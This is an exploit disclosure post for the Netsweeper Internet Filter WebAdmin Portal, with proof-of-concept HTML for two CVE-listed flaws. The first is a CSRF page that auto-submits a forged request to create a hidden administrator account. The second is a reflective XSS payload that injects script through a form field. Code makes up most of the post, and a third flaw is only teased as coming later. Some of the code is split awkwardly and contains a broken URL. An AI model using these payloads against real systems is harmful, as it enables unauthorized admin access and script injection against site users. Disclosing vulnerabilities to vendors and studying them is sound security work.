Netsweeper Internet Filter WebAdmin Portal

Exploit Title: Netsweeper WebAdmin Portal CSRF, Reflective XSS, and "The later"

Date: Discovered and reported CSRF and XSS reported 4/2012 and "The later" reported 7/2012

Author: Jacob Holcomb/Gimppy042

Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)

CVE : CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and CVE-2012-3859 for the "The later"

***NOTE:**

"The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.

CSRF Exploitation:

In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.

```
<head>

<title>CSRF Create Admin - Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>

</head>


<body>


<form name="pwnd" action="http://server.domain_name/webadmin/accountmgr/adminupdate.php?act=add&filter_login=&goodmsg=Account+Added" method="post">

<input type="hidden" name="userid" value="netsweeperPWND" />

<input type="hidden" name="firstname" value="Jacob" />
```

```
<input type="hidden" name="lastname" value="Holcomb" />
<input type="hidden" name="email" value="pwnd@pwnd.com" />
<input type="hidden" name="organization" value="yep_PWND" />
<input type="hidden" name="description" value="PWND" />
<input type="hidden" name="pass1" value="Pwnd-321" />
<input type="hidden" name="pass2" value="Pwnd-321" />
<input type="hidden" name="classification" value="admin" />
<input type="hidden" name="expire" value="" />
<input type="hidden" name="accounttheme" value="" />
<input type="hidden" name="accountpmtheme" value="gpmtheme" />

<script>
document.pwnd.submit();
</script>

</body>
```

XSS Exploitation:

The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.

```
<head>
<title>Post XSS(Reflective) Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>
</head>

<body>

<form name="pwnd" action="http:// server.domain_name
```

/webadmin/tools/local_lookup.php?action=lookup" method="post">

<input type="hidden" name="user" value="pwnd" />

<input type="hidden" name="group" value="><script>alert('XSS')</script>" />

<input type="hidden" name="policy" value="pwnd" />

<input type="hidden" name="url" value="pwnd" />

<script>

document.getElementById('pwnd').submit();

</script>

</body>

"The later" Exploitation:

Coming soon... :)